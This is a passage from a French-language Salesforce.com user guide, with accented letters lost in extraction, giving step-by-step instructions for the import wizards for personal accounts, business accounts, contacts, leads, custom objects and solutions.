les valeurs de compte existantes pour que les donnes d'importation remplacent celles des champs de
compte professionnel existants. Notez que cette case ne vous permet pas de remplacer les donnes du champ existant
par des valeurs vides.
c. Vous pouvez importer des donnes uniquement dans les champs que vous pouvez modifier dans la prsentation de page
ou les paramtres de scurit des champs. Reportez-vous Gestion des prsentations de page la page 544 et
Configuration de la scurit au niveau du champ la page 182. La scurit au niveau du champ est disponible dans
Enterprise Edition, Unlimited Edition et Developer Edition uniquement.
d. Lorsque tous les champs sont correctement mapps, cliquez sur Suivant.
5. Mappez les champs divers
a. L'assistant signale les champs non mapps.
Si votre entreprise utilise Professional Edition, Enterprise Edition, Unlimited Edition ou Developer Edition, vous avez
la possibilit de choisir si les champs non mapps doivent tre imports dans une note sur le contact ou le compte
professionnel, ou ne pas tre imports du tout. Les champs seront imports dans une note unique de compte professionnel
ou de contact. La procdure d'importation ne cre pas de champs de note distincts pour chacun des champs d'importation.
b. Lorsque tous les champs sont correctement mapps, cliquez sur Importer maintenant.

Voir aussi :
Accs aux assistants d'importation

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 290

Importer mes comptes personnels

L'importation de comptes personnels est disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour importer vos propres comptes personnels :

Autorisation de cration sur les comptes

AND
Autorisation de lecture sur les contacts
AND
Importer des contacts personnels
AND
Au moins un type d'enregistrement de compte personnel
disponible pour votre profil

Grce l'assistant Importer mes comptes personnels, vous pouvez importer les comptes personnels dont vous tes responsable.
Pour comprendre la mthode de mise en correspondance des enregistrements de comptes personnels afin d'viter les doublons,
reportez-vous Quels lments sont imports pour les comptes personnels ? la page 258.
Remarque: Votre administrateur n'utilise pas ncessairement l'expression comptes personnels . Dans ce cas, l'assistant
d'importation fait rfrence au nouveau nom.
Suivez ces tapes pour importer vos comptes personnels. Cliquez sur chaque lien pour obtenir des dtails.
1.
2.
3.
4.
5.
6.
7.

Lancer l'assistant
Empcher les enregistrements en double
Slectionner un type d'enregistrement
Tlcharger votre fichier d'importation
Mapper des champs
Confirmer et soumettre votre importation
Terminer votre importation

Lancer l'assistant
1. Pour importer des comptes personnels, slectionnezConfiguration Importation Importer mes comptes personnels.
Vous pouvez galement cliquer sur Importer mes comptes personnels dans la zone Outils de la page d'accueil des comptes.
2. Pour obtenir les meilleurs rsultats, suivez toutes les tapes nonces sur la page de prsentation.
3. Cliquez sur Lancez l'assistant d'importation ! pour commencer votre importation.

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 291

Empcher les enregistrements en double

1. Slectionnez le champ que vous utilisez pour faire correspondre les enregistrements existants dans Salesforce.com avec les
enregistrements de votre fichier d'importation. L'option ID externe est dsactive si aucun champ ID externe n'a t
cr pour vos enregistrements.
2. Choisissez ce que vous voulez faire si des correspondances sont trouves : n'importer que les nouveaux enregistrements,
mettre uniquement jour les enregistrements existants ou mettre jour les enregistrements existants et en importer de
nouveaux.
Remarque: Si vous avez choisi la correspondance par ID Salesforce.com, vous pouvez uniquement mettre
jour les enregistrements existants. Vous ne pouvez pas en importer de nouveaux.
3. Cliquez sur Suivant.
Slectionner un type d'enregistrement
1. Choisissez le type attribuer aux enregistrements dans votre fichier d'importation.
2. Si vous insrez de nouveaux enregistrements et si vous mettez jour des enregistrements existants en mme temps, indiquez
si vous souhaitez remplacer les types des enregistrements existants.
3. Cliquez sur Suivant.
Tlcharger votre fichier d'importation
1. Cliquez sur Parcourir pour dterminer l'emplacement de votre fichier d'importation.
2. Slectionnez ensuite le codage de caractres du fichier d'importation. Dans la plupart des cas, vous pouvez accepter la valeur
par dfaut.
3. Dfinissez des paramtres supplmentaires en fonction de la configuration de votre organisation. Par exemple, vous pouvez
dterminer si vous souhaitez dclencher les rgles de workflow et dfinir la langue des enregistrements dans le fichier
d'importation.
4. Cliquez sur Suivant.
Mapper des champs
1. Mappez les champs de votre fichier d'importation avec les champs Salesforce.com appropris en faisant correspondre les
champs sur la gauche, ce qui inclut toutes les colonnes de votre fichier d'importation, avec les champs Salesforce.com
correspondants sur la droite.
2. Si les tiquettes de colonne de votre fichier d'importation correspondent exactement aux tiquettes de champ dans
Salesforce.com, l'assistant mappe automatiquement ces champs. Toutefois, si au moins deux tiquettes de colonne de votre
fichier correspondent exactement un champ de Salesforce.com, vous devez mapper les champs manuellement.
Remarque: Certains champs Salesforce.com ne peuvent pas tre mis jour l'aide d'une importation. C'est le cas
notamment des champs Date de cration et Date de la dernire modification. Par consquent,
mme si vous utilisez un rapport export comme fichier d'importation, certains champs Salesforce.com de votre
fichier ne peuvent pas tre mapps.
3. Cliquez sur Suivant. L'assistant d'importation vous avertit si vous n'avez pas mapp tous les champs dans votre fichier
d'importation. Les champs non mapps ne sont pas imports.
Confirmer et soumettre votre importation
1. Lisez tous les messages d'avertissement que l'assistant d'importation affiche. Si vous le souhaitez, cliquez sur Prcdent
pour revenir aux tapes prcdentes et rsoudre les problmes ventuels.
2. Cliquez sur Importer maintenant ! pour soumettre votre demande d'importation Salesforce.com.

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 292

Terminer votre importation

1. Un message indique la dure approximative de l'importation. la fin de l'importation, un message du support client sera
envoy l'adresse e-mail affiche.
2. Cliquez sur Terminer pour terminer les tapes de l'assistant.
3. Pour contrler le statut de votre importation en attente, consultez la file d'attente d'importation. Reportez-vous Utilisation
de la file d'attente d'importation la page 321.

Voir aussi :
Accs aux assistants d'importation

Importer les comptes et les contacts de mon entreprise

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

L'assistant Importer les comptes et les contacts de mon entreprise permet aux administrateurs et aux utilisateurs autoriss
modifier toutes les donnes d'importer jusqu' 50 000 comptes professionnels et contacts la fois pour plusieurs utilisateurs.
Commencez par vrifier que vous avez cr un fichier d'exportation (reportez-vous Cration de fichiers d'exportation pour
les assistants d'importation la page 266) et correctement prpar les donnes (reportez-vous Prparation des donnes
importer la page 273).
Remarque: Nous vous recommandons de commencer par importer un fichier test de taille rduite afin de vrifier la
bonne prparation du fichier d'importation.
1. Dmarrez l'assistant.
Cliquez sur Configuration Gestion des donnes Importer les comptes/contacts (ou Importer les comptes/contacts
professionnels si votre entreprise utilise des comptes personnels). Consultez les tapes indiques sur la page de bienvenue,
puis cliquez sur Lancez l'assistant d'importation. Vous pouvez galement cliquer sur le lien voulu dans la zone Outils de
la page d'accueil des comptes.
Remarque: Si votre entreprise utilise des comptes personnels, et que les tiquettes des comptes professionnels et
des contacts professionnels ont t renommes, ces tiquettes apparaissent dans la zone Outils de la page d'accueil
des comptes, mais pas dans la zone Gestion des donnes sous Configuration. (Les tiquettes renommes
n'apparaissent dans aucune page accessible via Configuration de la sous-application ou Configuration de
l'administration.)
2. Crer votre fichier d'importation.
a. Suivez les instructions pour crer un fichier d'importation ou reportez-vous Cration de fichiers d'exportation pour
les assistants d'importation la page 266.
b. Cliquez sur Suivant pour continuer.
3. Tlchargez le fichier.
a. Cliquez sur Parcourir pour charger votre fichier d'importation.

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 293

b. Slectionnez ensuite le codage de caractres du fichier. Le paramtrage par dfaut du codage de caractres convient
la plupart des utilisateurs.
c. Faites correspondre les contacts de votre organisation par ID Salesforce.com, par nom ou par e-mail. De mme, faites
correspondre les comptes de votre organisation par ID Salesforce.com, par nom ou par e-mail. Notez que la
correspondance par l'ID Salesforce.com inclut les contacts et les comptes.
Les champs Type de correspondance spcifient plusieurs critres pour viter les doublons. Par exemple, si vous
faites correspondre par l'e-mail et qu'un enregistrement de votre fichier source possde le mme e-mail qu'un
enregistrement dans Salesforce.com, cet enregistrement est mis jour dans Salesforce.com. Si vous ne faites pas
correspondre par l'e-mail et qu'un enregistrement dans Salesforce.com possde le mme e-mail, un nouvel enregistrement
est cr. Notez que la recherche des correspondances de contacts s'effectue uniquement dans un mme compte. Si des
contacts ont le mme nom et la mme adresse e-mail mais sont relis des comptes diffrents, ils sont considrs comme
des contacts diffrents.
d. Les organisations utilisant le systme de traduction peuvent spcifier la langue des donnes d'importation.
e. Si vous utilisez des services, slectionnez-en un et attribuez-le tous les enregistrements imports. Vous avez galement
la possibilit de choisir l'option Aucune pour utiliser le service par dfaut du responsable de chaque enregistrement ou
de spcifier le service dans votre fichier d'importation.
f. Cochez la case permettant d'activer les rgles de workflow pour les nouveaux enregistrements et les enregistrements
mis jour qui satisfont aux critres de ces rgles.
g. Cliquez sur Suivant pour continuer.
4. Mappez les champs.
a. Sur quatre pages de mappage distinctes, l'assistant associe les noms de champ Salesforce.com ceux du fichier
d'importation. Vous devez vrifier les mappages par dfaut et corriger les ventuels mappages incorrects. Pour plus
d'informations sur les mappages de champ par dfaut, reportez-vous Prparation des donnes importer la page
273.
b. N'oubliez pas de mapper le champ Responsable de l'enregistrement avec votre champ Responsable de
l'enregistrement afin qu'il n'y ait aucun doute sur ce point. Lors de l'importation d'enregistrements par ID
d'enregistrement Salesforce.com, le champ Responsable de l'enregistrement de votre fichier d'importation
est ignor. Tous les enregistrements conservent leur responsable actuel. En effet, les responsables ne peuvent pas tre
mis jour l'aide de l'assistant d'importation.
c. Sur la page Mappage des champs de compte, cochez la case Remplacer les valeurs de compte existantes
pour que les donnes importes remplacent celles des champs existants. Notez que cette case ne vous permet pas de
remplacer les donnes du champ existant par des valeurs vides.
d. Lorsque tous les champs sont correctement mapps, cliquez sur Suivant.
5. Mappez les champs divers.
a. L'assistant signale les champs non mapps. Si votre entreprise utilise Professional Edition, Enterprise Edition, Unlimited
Edition ou Developer Edition, vous avez la possibilit de choisir si les champs non mapps doivent tre imports dans
une note sur le contact ou le compte ou ne pas tre imports du tout. Les champs seront imports dans une Note unique
de compte ou de contact. La procdure d'importation ne cre pas de champs de note distincts pour chacun des champs
imports.
b. Lorsque tous les champs sont correctement mapps, cliquez sur Suivant.
6. Vrification et confirmation.
a. Si cette page contient des avertissements, arrtez le processus d'importation et corrigez votre fichier d'importation.

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 294

b. Slectionnez Importer maintenant pour lancer votre demande d'importation. Vos donnes seront importes dans les
24 heures suivantes. Vous serez inform par e-mail au terme de l'excution de la procdure d'importation. Lorsque le
systme commence le traitement, vous ne pouvez plus annuler l'importation (reportez-vous Annulation d'une
importation la page 305).
7. Examinez la file d'attente d'importation.
a. Vous pouvez suivre l'avancement de l'importation l'aide de la file d'attente d'importation. Cliquez sur Configuration
Surveillance Importations. Vous pouvez galement cliquer sur le lien File d'attente d'importation sur la page
de l'assistant d'importation de votre entreprise. Si le traitement d'une importation n'a pas encore commenc, vous
pouvez cliquer sur Suppr pour annuler cette importation.
Remarque: Si l'organisation utilise la gestion des territoires, les comptes imports sont toujours valus par rapport
aux rgles d'attribution de compte. Reportez-vous Prsentation de la gestion des territoires la page 1952.

Voir aussi :
Accs aux assistants d'importation

Importer les comptes personnels de mon entreprise

L'importation de comptes personnels est disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour importer les comptes personnels de mon entreprise :

Importer des comptes personnels

Grce l'assistant Importer les comptes personnels de mon entreprise, vous pouvez importer des comptes personnels placs
sous la responsabilit de plusieurs utilisateurs. Pour comprendre la mthode de mise en correspondance des enregistrements
de comptes personnels afin d'viter les doublons, reportez-vous Quels lments sont imports pour les comptes personnels ?
la page 258.
Remarque: Si l'tiquette des comptes personnels a t renomme pour votre entreprise, elle apparat dans l'assistant
d'importation mme et dans la zone Outils de la page d'accueil des comptes, mais pas dans la zone Gestion des donnes
sous Configuration. (Les tiquettes renommes n'apparaissent dans aucune page accessible via Configuration de la
sous-application ou Configuration de l'administration.)
Suivez les tapes ci-aprs pour importer des comptes personnels pour votre entreprise.
1.
2.
3.
4.
5.
6.

Lancer l'assistant
Empcher les enregistrements en double
Spcifier un responsable et des relations de recherche
Slectionner un type d'enregistrement
Tlcharger votre fichier d'importation
Mapper des champs

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 295

7. Confirmer et soumettre votre importation

8. Terminer votre importation
Remarque: L'assistant d'importation est dynamique ; il affiche des crans diffrents selon le contenu import et la
configuration de votre entreprise.

Lancer l'assistant
1. Pour importer des comptes personnels pour votre entreprise, slectionnez Configuration Gestion des donnes
Importer des comptes personnels.
Vous pouvez galement cliquer sur Importer les comptes personnels de mon entreprise dans la zone Outils de la page
d'accueil des comptes.
2. Pour obtenir les meilleurs rsultats, suivez toutes les tapes nonces sur la page de prsentation.
3. Cliquez sur Lancez l'assistant d'importation ! pour commencer votre importation.
Empcher les enregistrements en double
1. L'assistant d'importation peut comparer les enregistrements de votre fichier d'importation et ceux existant dans Salesforce.com
pour empcher la cration d'enregistrements en double la suite de votre importation. Indiquez si vous voulez empcher
la cration d'enregistrements en double. Vous devez slectionner Oui afin de mettre les enregistrements existants jour.
2. Si vous choisissez Oui, les choix supplmentaires suivants apparaissent :

Slectionnez le champ que vous utilisez pour faire correspondre les enregistrements existants dans Salesforce.com avec
les enregistrements de votre fichier d'importation. L'option ID externe est dsactive si aucun champ ID externe
n'a t cr pour vos enregistrements.
Choisissez ce que vous voulez faire si des correspondances sont trouves : n'importer que les nouveaux enregistrements,
mettre uniquement jour les enregistrements existants ou mettre jour les enregistrements existants et en importer de
nouveaux.
Remarque: Si vous avez choisi la correspondance par ID Salesforce.com, vous pouvez uniquement mettre
jour les enregistrements existants. Vous ne pouvez pas en importer de nouveaux.

3. Cliquez sur Suivant.

Spcifier un responsable et des relations de recherche
1. Spcifiez le champ de votre fichier d'importation qui contient les responsables des comptes personnels.
Pour le choix du nom, les formats suivants sont valides :

Prnom suivi du nom

Nom suivi du prnom
Alias
Nom d'utilisateur

2. Les enregistrements peuvent avoir des champs personnaliss qui crent des relations de recherche avec d'autres
enregistrements. Si vous avez inclus des champs de recherche dans votre fichier d'importation, cochez les cases
correspondantes.
Remarque: Tout enregistrement associ doit dj exister dans Salesforce.com avant que vous puissiez poursuivre.
Les enregistrements associs ne seront pas mis jour au cours de votre importation mme si votre fichier
d'importation contient des valeurs de champ diffrentes sur ces enregistrements associs.

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 296

3. Cliquez sur Suivant.

Slectionner un type d'enregistrement
1. Choisissez le type attribuer aux enregistrements dans votre fichier d'importation.
2. Si vous insrez de nouveaux enregistrements et si vous mettez jour des enregistrements existants en mme temps, indiquez
si vous souhaitez remplacer les types des enregistrements existants.
3. Cliquez sur Suivant.
Tlcharger votre fichier d'importation
1. Cliquez sur Parcourir pour dterminer l'emplacement de votre fichier d'importation.
2. Slectionnez ensuite le codage de caractres du fichier d'importation. Dans la plupart des cas, vous pouvez accepter la valeur
par dfaut.
3. Dfinissez des paramtres supplmentaires en fonction de la configuration de votre organisation. Par exemple, vous pouvez
dterminer si vous souhaitez dclencher les rgles de workflow et dfinir la langue des enregistrements dans le fichier
d'importation.
4. Cliquez sur Suivant.
Mapper des champs
1. Mappez les champs de votre fichier d'importation avec les champs Salesforce.com appropris en faisant correspondre les
champs sur la gauche, ce qui inclut toutes les colonnes de votre fichier d'importation, avec les champs Salesforce.com
correspondants sur la droite.
2. Si les tiquettes de colonne de votre fichier d'importation correspondent exactement aux tiquettes de champ dans
Salesforce.com, l'assistant mappe automatiquement ces champs. Toutefois, si au moins deux tiquettes de colonne de votre
fichier correspondent exactement un champ de Salesforce.com, vous devez mapper les champs manuellement.
Remarque: Certains champs Salesforce.com ne peuvent pas tre mis jour l'aide d'une importation. C'est le cas
notamment des champs Date de cration et Date de la dernire modification. Par consquent,
mme si vous utilisez un rapport export comme fichier d'importation, certains champs Salesforce.com de votre
fichier ne peuvent pas tre mapps.
3. Cliquez sur Suivant. L'assistant d'importation vous avertit si vous n'avez pas mapp tous les champs dans votre fichier
d'importation. Les champs non mapps ne sont pas imports.
Confirmer et soumettre votre importation
1. Lisez tous les messages d'avertissement que l'assistant d'importation affiche. Si vous le souhaitez, cliquez sur Prcdent
pour revenir aux tapes prcdentes et rsoudre les problmes ventuels.
2. Cliquez sur Importer maintenant ! pour soumettre votre demande d'importation Salesforce.com.
Terminer votre importation
1. Un message indique la dure approximative de l'importation. la fin de l'importation, un message du support client sera
envoy l'adresse e-mail affiche.
2. Cliquez sur Terminer pour terminer les tapes de l'assistant.

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 297

3. Pour contrler le statut de votre importation en attente, consultez la file d'attente d'importation. Reportez-vous Utilisation
de la file d'attente d'importation la page 321.

Voir aussi :
Accs aux assistants d'importation

Importer mes pistes d'organisation

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour utiliser l'assistant Les pistes de mon organisation :

Autorisations Lire, Crer et Modifier sur les pistes

AND
Importation de pistes

L'assistant Importer mes pistes d'organisation permet aux administrateurs, aux utilisateurs ayant le profil Marketing et aux
utilisateurs autoriss importer des pistes, et qui bnficient d'une autorisation de lecture, de cration et de modification sur
les pistes, d'importer jusqu' 50 000 pistes la fois pour plusieurs utilisateurs. Commencez par vrifier que vous avez cr un
fichier d'exportation (reportez-vous Cration de fichiers d'exportation pour les assistants d'importation la page 266) et
correctement prpar les donnes (reportez-vous Mappage des champs pour l'importation des pistes la page 285).
Remarque: Nous vous recommandons de commencer par importer un fichier test de taille rduite afin de vrifier la
bonne prparation du fichier d'importation.
1. Dmarrez l'assistant.
Cliquez sur Configuration Gestion des donnes Importer des pistes, puis sur Lancez l'assistant d'importation.
2. Tlchargez le fichier.
a. Slectionnez Parcourir pour charger votre fichier d'importation.
b. Si besoin est, slectionnez une valeur importer dans le champ Origine de la piste de toutes les pistes importes.
De mme, vous pouvez attribuer l'origine de la piste via un champ Origine de la piste de votre fichier
d'importation. Vous devez fournir une valeur Origine de la piste ne possdant pas le statut Converti. Les pistes
qui ont ce statut ne sont pas importes.
c. Ensuite, slectionnez une rgle d'attribution de piste permettant de dsigner automatiquement les responsables des
pistes importes (reportez-vous Gestion des rgles d'attribution la page 619). Si votre fichier d'importation contient
un champ Responsable de l'enregistrement, il n'est pas ncessaire de slectionner une rgle d'attribution. En
l'absence de rgle d'attribution ou de champ Responsable de l'enregistrement dans votre fichier d'importation,
toutes les pistes sont affectes l'administrateur qui effectue l'importation. Lors de l'importation d'enregistrements par
ID d'enregistrement Salesforce.com, le champ Responsable de l'enregistrement de votre fichier d'importation
est ignor. Tous les enregistrements conservent leur responsable actuel. En effet, les responsables ne peuvent pas tre
mis jour l'aide de l'assistant d'importation.

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 298

d. Si vous avez choisi une rgle d'attribution, cochez la case Utiliser les paramtres de rgle d'attribution
pour envoyer de notifications de message aux responsables des enregistrements pour envoyer
par e-mail des notifications aux responsables des nouvelles pistes. Si vous ne cochez pas cette case, aucune notification
n'est envoye, quels que soient les paramtres des rgles d'attribution.
e. Slectionnez ensuite le codage de caractres du fichier. Le paramtrage par dfaut convient la plupart des utilisateurs.
f. Faites correspondre les pistes de votre organisation par ID Salesforce.com, par nom ou par e-mail. Ce champ permet
de dfinir des critres pour viter les doublons. Par exemple, si vous faites correspondre par l'e-mail et qu'un
enregistrement de votre fichier source possde le mme e-mail qu'un enregistrement dans Salesforce.com, cet
enregistrement est mis jour dans Salesforce.com. Si vous ne faites pas correspondre par l'e-mail et qu'un enregistrement
dans Salesforce.com possde le mme e-mail, un nouvel enregistrement est cr. Slectionnez l'option Aucune si vous
ne souhaitez pas annuler la duplication des pistes ; un nouvel enregistrement est cr pour chaque piste de votre fichier
d'importation.
Lorsque vous importez de nouvelles pistes pour une campagne, l'option Type de correspondance n'est pas
disponible. L'assistant ne fusionne pas les pistes en double.
g. Les organisations utilisant le systme de traduction peuvent spcifier la langue des donnes d'importation.
h. Si vous utilisez des services, slectionnez-en un et attribuez-le tous les enregistrements imports. Vous avez galement
la possibilit de choisir l'option Aucune pour utiliser le service par dfaut du responsable de chaque enregistrement ou
de spcifier le service dans votre fichier d'importation.
i. Cochez la case permettant d'activer les rgles de workflow pour les nouveaux enregistrements et les enregistrements
mis jour qui satisfont aux critres de ces rgles.
j. Si votre entreprise possde plusieurs types d'enregistrement sur les pistes, choisissez le type d'enregistrement actif qui
sera appliqu toutes les pistes de votre fichier d'importation. Nanmoins, si vous tes connect en tant qu'utilisateur
ayant slectionn un type d'enregistrement de piste par dfaut dans Configuration Mes informations personnelles
Slection du type d'enregistrement Piste, cette liste droulante ne s'affiche pas et votre type d'enregistrement
de piste par dfaut s'applique automatiquement aux enregistrements imports.
k. Cliquez sur Suivant pour continuer.
3. Mappez les champs.
a. L'assistant associe les noms de champ de piste Salesforce.com avec les noms les noms de champ de votre fichier
d'importation. Vous devez vrifier les mappages par dfaut et corriger les ventuels mappages incorrects. Pour plus
d'informations sur les mappages par dfaut, reportez-vous Mappage des champs pour l'importation des pistes la
page 285. Les champs non mapps ne seront pas imports.
b. Si vous avez choisi d'viter les pistes en double (c'est--dire que le type de correspondance n'est pas Aucune),
cochez la case Remplacer les valeurs de piste existantes pour que les donnes importes remplacent
celles des champs de piste existants. Notez que cette case ne vous permet pas de remplacer les donnes du champ existant
par des valeurs vides.
c. Cliquez sur Suivant pour continuer.
4. Vrification et confirmation.
Slectionnez Importer maintenant ! pour lancer votre demande d'importation. Vos pistes seront importes dans les
24 heures suivantes. Vous serez inform par e-mail au terme de l'excution de la procdure d'importation. Lorsque le
systme commence le traitement, vous ne pouvez plus annuler l'importation. Reportez-vous Annulation d'une importation
la page 305.
5. Examinez la file d'attente d'importation.
Vous pouvez suivre l'avancement de l'importation en cliquant sur le lien File d'attente d'importation. Cliquez sur
Configuration Surveillance Importations. Vous pouvez galement cliquer sur le lien File d'attente d'importation

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 299

sur la page de l'assistant d'importation de vos pistes d'entreprise. Si le traitement d'une importation n'a pas encore commenc,
vous pouvez cliquer sur Suppr pour annuler cette importation.

Voir aussi :
Accs aux assistants d'importation

Importer les objets personnaliss de mon organisation

Importation d'objets personnaliss disponible dans : Contact Manager Edition, Group Edition, Professional Edition,
Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour importer des objets personnaliss :

Modifier toutes les donnes

l'aide de l'assistant d'importation des objets personnaliss de votre entreprise, vous pouvez importer des objets personnaliss.
Suivez ces tapes pour importer des objets personnaliss. Cliquez sur chaque lien pour obtenir des dtails.
1. Lancer l'assistant
2. Choisir l'objet personnalis
3. Empcher les enregistrements en double
4. Spcifier des relations responsable, principal-dtails et recherche
5. Dfinir une correspondance d'enregistrement de recherche
6. Slectionner un type d'enregistrement
7. Tlcharger votre fichier d'importation
8. Mapper des champs
9. Confirmer et soumettre votre importation
10. Terminer votre importation
Remarque: L'assistant d'importation est dynamique ; il affiche des crans diffrents selon le contenu import et la
configuration de votre entreprise.

Lancer l'assistant
1. Pour importer des objets personnaliss, cliquez sur Configuration Gestion des donnes Importer les objets
personnaliss.
2. Pour obtenir les meilleurs rsultats, suivez toutes les tapes nonces sur la page de prsentation.
3. Cliquez sur Lancez l'assistant d'importation ! pour commencer votre importation.
Choisir l'objet personnalis
1. La premire tape de l'assistant dresse la liste des objets personnaliss qui ont t dfinis pour votre organisation.
2. Identifiez l'objet personnalis que vous importez en slectionnant le bouton radio appropri.

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 300

3. Cliquez sur Suivant.

Empcher les enregistrements en double
1. L'assistant d'importation peut comparer les enregistrements de votre fichier d'importation et ceux existant dans Salesforce.com
pour empcher la cration d'enregistrements en double la suite de votre importation. Indiquez si vous voulez empcher
la cration d'enregistrements en double. Vous devez slectionner Oui afin de mettre les enregistrements existants jour.
2. Si vous choisissez Oui, les choix supplmentaires suivants apparaissent :

Slectionnez le champ que vous utilisez pour faire correspondre les enregistrements existants dans Salesforce.com avec
les enregistrements de votre fichier d'importation. L'option ID externe est dsactive si aucun champ ID externe
n'a t cr pour vos enregistrements.
Choisissez ce que vous voulez faire si des correspondances sont trouves : n'importer que les nouveaux enregistrements,
mettre uniquement jour les enregistrements existants ou mettre jour les enregistrements existants et en importer de
nouveaux.
Remarque: Si vous avez choisi la correspondance par ID Salesforce.com, vous pouvez uniquement mettre
jour les enregistrements existants. Vous ne pouvez pas en importer de nouveaux.

3. Cliquez sur Suivant.

Spcifier des relations responsable, principal-dtails et recherche
1. Les objets personnaliss peuvent appartenir aux utilisateurs. Ils peuvent aussi avoir une relation principal-dtails avec
d'autres enregistrements. Par exemple, un objet personnalis peut avoir un champ personnalis qui cre une relation
principal-dtails avec des comptes. Dans ce cas, votre fichier d'importation doit inclure les noms ou les ID de tous les
comptes associs.

Si vos objets personnaliss appartiennent aux utilisateurs, choisissez le champ dans votre fichier d'importation utiliser
pour la mise en correspondance avec les responsables d'enregistrement.
Pour le choix du nom, les formats suivants sont valides :
-

Prnom suivi du nom

Nom suivi du prnom
Alias
Nom d'utilisateur

Si vos enregistrements ont une relation principal-dtails avec un autre type d'enregistrement, choisissez le champ dans
votre fichier d'importation utiliser pour les enregistrements principaux correspondants.

2. Les enregistrements peuvent avoir des champs personnaliss qui crent des relations de recherche avec d'autres
enregistrements. Si vous avez inclus des champs de recherche dans votre fichier d'importation, cochez les cases
correspondantes.
Remarque: Tout enregistrement associ doit dj exister dans Salesforce.com avant que vous puissiez poursuivre.
Les enregistrements associs ne seront pas mis jour au cours de votre importation mme si votre fichier
d'importation contient des valeurs de champ diffrentes sur ces enregistrements associs.
3. Cliquez sur Suivant.
Dfinir une correspondance d'enregistrement de recherche
1. Si vous avez slectionn un ou plusieurs champs de recherche lors de l'tape prcdente, slectionnez le champ (nom ou
ID) que vous utilisez pour identifier de manire unique ces enregistrements associs.

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 301

2. Cliquez sur Suivant.

Slectionner un type d'enregistrement
1. Si les enregistrements que vous importez ont des types d'enregistrement, choisissez le type d'enregistrement que vous
souhaitez attribuer aux enregistrements de votre fichier d'importation.
2. Si vous insrez de nouveaux enregistrements et si vous mettez jour des enregistrements existants en mme temps, indiquez
si vous souhaitez remplacer les types des enregistrements existants.
3. Cliquez sur Suivant.
Tlcharger votre fichier d'importation
1. Cliquez sur Parcourir pour dterminer l'emplacement de votre fichier d'importation.
2. Slectionnez ensuite le codage de caractres du fichier d'importation. Dans la plupart des cas, vous pouvez accepter la valeur
par dfaut.
3. Dfinissez des paramtres supplmentaires en fonction de la configuration de votre organisation. Par exemple, vous pouvez
dterminer si vous souhaitez dclencher les rgles de workflow et dfinir la langue des enregistrements dans le fichier
d'importation.
4. Cliquez sur Suivant.
Mapper des champs
1. Mappez les champs de votre fichier d'importation avec les champs Salesforce.com appropris en faisant correspondre les
champs sur la gauche, ce qui inclut toutes les colonnes de votre fichier d'importation, avec les champs Salesforce.com
correspondants sur la droite.
2. Si les tiquettes de colonne de votre fichier d'importation correspondent exactement aux tiquettes de champ dans
Salesforce.com, l'assistant mappe automatiquement ces champs. Toutefois, si au moins deux tiquettes de colonne de votre
fichier correspondent exactement un champ de Salesforce.com, vous devez mapper les champs manuellement.
Remarque: Certains champs Salesforce.com ne peuvent pas tre mis jour l'aide d'une importation. C'est le cas
notamment des champs Date de cration et Date de la dernire modification. Par consquent,
mme si vous utilisez un rapport export comme fichier d'importation, certains champs Salesforce.com de votre
fichier ne peuvent pas tre mapps.
3. Cliquez sur Suivant. L'assistant d'importation vous avertit si vous n'avez pas mapp tous les champs dans votre fichier
d'importation. Les champs non mapps ne sont pas imports.
Confirmer et soumettre votre importation
1. Lisez tous les messages d'avertissement que l'assistant d'importation affiche. Si vous le souhaitez, cliquez sur Prcdent
pour revenir aux tapes prcdentes et rsoudre les problmes ventuels.
2. Cliquez sur Importer maintenant ! pour soumettre votre demande d'importation Salesforce.com.
Terminer votre importation
1. Un message indique la dure approximative de l'importation. la fin de l'importation, un message du support client sera
envoy l'adresse e-mail affiche.
2. Cliquez sur Terminer pour terminer les tapes de l'assistant.

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 302

3. Pour contrler le statut de votre importation en attente, consultez la file d'attente d'importation. Reportez-vous Utilisation
de la file d'attente d'importation la page 321.

Voir aussi :
Accs aux assistants d'importation
Quels sont les lments imports pour les objets personnaliss ?
FAQ : Importation

Importer les solutions de mon organisation

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour importer des solutions :

Importer les solutions

l'aide de l'assistant d'importation des solutions de votre entreprise, vous pouvez importer des solutions.
Suivez ces tapes pour importer des solutions. Cliquez sur chaque lien pour obtenir des dtails.
1. Lancer l'assistant
2. Choisir le type de solution (solutions multilingues seulement)
3. Empcher les enregistrements en double
4. Spcifier des relations auteur et recherche
5. Dfinir une correspondance d'enregistrement de recherche
6. Slectionner un type d'enregistrement
7. Tlcharger votre fichier d'importation
8. Mapper des champs
9. Confirmer et soumettre votre importation
10. Terminer votre importation
Remarque: L'assistant d'importation est dynamique ; il affiche des crans diffrents selon le contenu import et la
configuration de votre entreprise.

Lancer l'assistant
1. Pour importer des solutions, cliquez sur Configuration Gestion des donnes Importer les solutions.
2. Pour obtenir les meilleurs rsultats, suivez toutes les tapes nonces sur la page de prsentation.
3. Cliquez sur Lancez l'assistant d'importation ! pour commencer votre importation.
Choisir le type de solution (solutions multilingues seulement)
1. Si les solutions multilingues sont actives pour votre entreprise, choisissez d'importer des solutions principales ou traduites.
Il est impossible d'importer les deux types la fois.

Gestion des donnes

Guide de l'utilisateur | Accs aux assistants d'importation | 303

Pour chaque solution traduite importe, incluez le champ ID de solution de 15 18 caractres de sa solution principale
